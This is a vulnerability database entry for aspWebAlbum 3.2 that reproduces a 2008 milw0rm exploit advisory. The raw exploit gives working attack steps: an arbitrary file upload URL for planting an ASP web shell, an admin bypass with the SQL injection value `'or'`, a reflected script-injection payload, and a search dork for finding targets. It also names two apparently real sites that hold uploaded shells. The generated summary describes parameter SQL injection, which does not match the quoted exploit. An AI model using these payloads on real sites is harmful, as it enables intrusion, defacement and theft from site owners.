aspWebAlbum 3.2

vendor:

aspWebAlbum

by:

Alemin_Krali

8.8

CVSS

HIGH

SQL Injection

CWE

Product Name: aspWebAlbum

Affected Version From: 3.2

Affected Version To: 3.2

Patch Exists: NO

Related CWE: N/A

CPE: a:fullrevolution:aspwebalbum:3.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2009

aspWebAlbum 3.2 is vulnerable to SQL injection. An attacker can inject malicious SQL queries into the vulnerable parameter 'pic' and 'cat' of the album.asp page. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. Successful exploitation of this vulnerability can allow an attacker to gain access to sensitive information from the database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. Sanitize all user-supplied input to prevent malicious SQL code from being executed.

Source

Exploit-DB raw data:

##################################################################################################
                                                                                                 #
#-#  Discovered bay Alemin_Krali <<<<<<<<====                                                    #                                                                                                                           #                                                                                                                             #
                                                                                                 #
#-#  aspWebAlbum 3.2                                              #     #    ####   ##      ##   #
                                                                 # #    #    #      # #    # #   #
#-#  Script Download "http://www.fullrevolution.com"            #####   #    ###    #  #  #  #   #
                                                               #     #  #    #      #   #    #   #
#-#  aspWebAlbum 3.2 Single Site License  |  $60.00 : )       #       # ###  ####   #        #   #
                                                                                                 #
#-#  HomePage  al3m.blogspot.com                                                                 #
                                                                                                 #
#-#  alemin@windowslive.com                                                                      #
                                                                                                 #
#-#  Dork ? : album.asp?pic= .jpg cat=                                                           #
                                                                                                 #
                                                                                                 #
           ########################################################################              #                                       #                                                                      #              #                                       #                                                                      #              #
           #  1-Arbitrary File Upload Exploit [AspWebAlbum All Versions]          #              #  
           ########################################################################              #                                                                                                                             #                                                                                                                             #
http://www.site.com/path/album.asp?action=uploadmedia&cat=Real Category Name!                    #
                                                                                                 #
and your shell adress:                                                                           #
                                                                                                 #
http://www.site.com/path/album/categories/Real Category Name!/pics/yourshell.asp                 #
                                                                                                 #
                                                                                                 #
ex:1                                                                                             #
http://www.assisteurope.net/album/categories/Beslan%202005/Memorials/pics/cyberspy.asp           #
                                                                                                 #
ex:2                                                                                             #
http://peopleablaze.net/ClientData/1038/CustomApps/PhotoAlbum//album/categories/                 #
Ablaze rally 9-24-06/pics/klasvayv.asp                                                           #
                                                                                                 #
           ########################################################################              #                                       #                                                                      #              #                                       #                                                                      #              #
           # 2-Admin Bypass     [AspWebAlbum 3.2]                                 #              #                            
           ########################################################################              #                                                                                                                             #                                                                                                                             #
                                                                                                 #
http://site.com/path/album.asp?action=login                                                      #
                                                                                                 #
ASP/MS SQL Server login syntax                                                                   #
                                                                                                 #
Username:'or'                                                                                    #
Password:anything                                                                                #
                                                                                                 #
           ########################################################################              #                                       #                                                                      #              #                                       #                                                                      #              #
           # 3-Xss Vulnerability  [AspWebAlbum 3.2]                               #              #                            
           ########################################################################              #                                                                                                                             #                                                                                                                             #
http://site.com/album/album.asp?action=summary&message=<script>alert('xss')</script>&from=login  #
                                                                                                 #
#################################################################################################

# milw0rm.com [2008-09-03]